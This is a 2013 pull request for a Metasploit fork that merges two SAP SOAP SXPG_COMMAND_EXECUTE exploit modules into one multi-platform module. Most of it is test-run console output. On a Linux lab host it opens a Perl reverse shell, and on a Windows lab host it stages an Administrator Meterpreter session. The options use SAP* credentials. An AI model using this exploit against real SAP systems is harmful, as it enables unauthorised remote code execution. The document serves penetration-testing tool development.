nmonkee/metasploit-framework — pull request #10 by jvazquez-r7 (2013-05-08 03:52:05+00:00)
Title: sap_soap_rfc_sxpg_command_exec multi platform and clean up

Hi @nmonkee this pull request tries to merge https://github.com/rapid7/metasploit-framework/pull/1667 and https://github.com/rapid7/metasploit-framework/pull/1679 to make a one multi platform exploit. Which has sense for me, since they are abusing the same function, even when using different techniques for exploitation :)

Feel free to check, verify, test, ask, provide feedback etc. Once you feel comfortable merge this pull request, the original one will be automatically updated and we'll be ready to merge I guess :)

* Test on Linux

VERY IMPORTANT NOTE! : ON THE LINUX TESTDRIVE PLATFORM only the perl and ruby CMD payloads have been verified to work. Because of a limitation in the multi-platform exploits, I dont find any way to restrict allowed payloads from the metadata! So other payloads others than the perl and ruby ones are not expected to work on the testdrive platform.

```
msf exploit(sap_soap_rfc_sxpg_command_exec) > show options

Module options (exploit/multi/sap/sap_soap_rfc_sxpg_command_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
CLIENT 001 yes SAP Client
PASSWORD 06071992 yes Password
Proxies no Use a proxy chain
RHOST 192.168.172.179 yes The target address
RPORT 8042 yes The target port
USERNAME SAP* yes Username
VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse_perl):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Linux

msf exploit(sap_soap_rfc_sxpg_command_exec) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.179:8042 - Dumping the payload to /tmp/nbe49...
[+] 192.168.172.179:8042 - Payload dump was successful
[*] 192.168.172.179:8042 - Executing /tmp/nbe49...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.179:53091) at 2013-05-07 22:32:18 -0500
id

uid=1001(npladm) gid=100(users) groups=100(users),1000(sapsys)
uname -a
Linux linux-gateway 2.6.32.43-0.4-default #1 SMP 2011-07-14 14:47:44 +0200 x86_64 x86_64 x86_64 GNU/Linux
^C
Abort session 1? [y/N] y

```

* Test on Windows

```
msf exploit(sap_soap_rfc_sxpg_command_exec) > show options

Module options (exploit/multi/sap/sap_soap_rfc_sxpg_command_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
CLIENT 001 yes SAP Client
PASSWORD 06071992 yes Password
Proxies no Use a proxy chain
RHOST 192.168.172.185 yes The target address
RPORT 8000 yes The target port
USERNAME SAP* yes Username
VHOST no HTTP server virtual host

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
1 Windows x64

msf exploit(sap_soap_rfc_sxpg_command_exec) > check
e[*] The target service is running, but could not be validated.
msf exploit(sap_soap_rfc_sxpg_command_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.185:8000 - Sending SOAP SXPG_COMMAND_EXECUTE request
[*] Command Stager progress - 2.19% done (249/11366 bytes)
[*] Command Stager progress - 4.38% done (498/11366 bytes)
[*] Command Stager progress - 6.57% done (747/11366 bytes)
[*] Command Stager progress - 8.76% done (996/11366 bytes)
[*] Command Stager progress - 10.95% done (1245/11366 bytes)
[*] Command Stager progress - 13.14% done (1494/11366 bytes)
[*] Command Stager progress - 15.34% done (1743/11366 bytes)
[*] Command Stager progress - 17.53% done (1992/11366 bytes)
[*] Command Stager progress - 19.72% done (2241/11366 bytes)
[*] Command Stager progress - 21.91% done (2490/11366 bytes)
[*] Command Stager progress - 24.10% done (2739/11366 bytes)
[*] Command Stager progress - 26.29% done (2988/11366 bytes)
[*] Command Stager progress - 28.48% done (3237/11366 bytes)
[*] Command Stager progress - 30.67% done (3486/11366 bytes)
[*] Command Stager progress - 32.86% done (3735/11366 bytes)
[*] Command Stager progress - 35.05% done (3984/11366 bytes)
[*] Command Stager progress - 37.24% done (4233/11366 bytes)
[*] Command Stager progress - 39.43% done (4482/11366 bytes)
[*] Command Stager progress - 41.62% done (4731/11366 bytes)
[*] Command Stager progress - 43.81% done (4980/11366 bytes)
[*] Command Stager progress - 46.01% done (5229/11366 bytes)
[*] Command Stager progress - 48.20% done (5478/11366 bytes)
[*] Command Stager progress - 50.39% done (5727/11366 bytes)
[*] Command Stager progress - 52.58% done (5976/11366 bytes)
[*] Command Stager progress - 54.77% done (6225/11366 bytes)
[*] Command Stager progress - 56.96% done (6474/11366 bytes)
[*] Command Stager progress - 59.15% done (6723/11366 bytes)
[*] Command Stager progress - 61.34% done (6972/11366 bytes)
[*] Command Stager progress - 63.53% done (7221/11366 bytes)
[*] Command Stager progress - 65.72% done (7470/11366 bytes)
[*] Command Stager progress - 67.91% done (7719/11366 bytes)
[*] Command Stager progress - 70.10% done (7968/11366 bytes)
[*] Command Stager progress - 72.29% done (8217/11366 bytes)
[*] Command Stager progress - 74.49% done (8466/11366 bytes)
[*] Command Stager progress - 76.68% done (8715/11366 bytes)
[*] Command Stager progress - 78.87% done (8964/11366 bytes)
[*] Command Stager progress - 80.85% done (9189/11366 bytes)
[*] Command Stager progress - 82.76% done (9407/11366 bytes)
[*] Command Stager progress - 84.94% done (9654/11366 bytes)
[*] Command Stager progress - 86.67% done (9851/11366 bytes)
[*] Command Stager progress - 88.50% done (10059/11366 bytes)
[*] Command Stager progress - 90.63% done (10301/11366 bytes)
[*] Command Stager progress - 92.66% done (10532/11366 bytes)
[*] Command Stager progress - 94.67% done (10760/11366 bytes)
[*] Command Stager progress - 95.94% done (10904/11366 bytes)
[*] Command Stager progress - 98.06% done (11146/11366 bytes)
[*] Sending stage (951296 bytes) to 192.168.172.185
[*] Command Stager progress - 100.00% done (11366/11366 bytes)
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.185:57553) at 2013-05-07 22:39:28 -0500

meterpreter > getuid
Server username: GATEWAY\Administrator
meterpreter > sysinfo
Computer : GATEWAY
OS : Windows 2008 R2 (Build 7600).
Architecture : x64
System Language : en_US
Meterpreter : x64/win64
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.185 - Meterpreter session 2 closed. Reason: User exit

```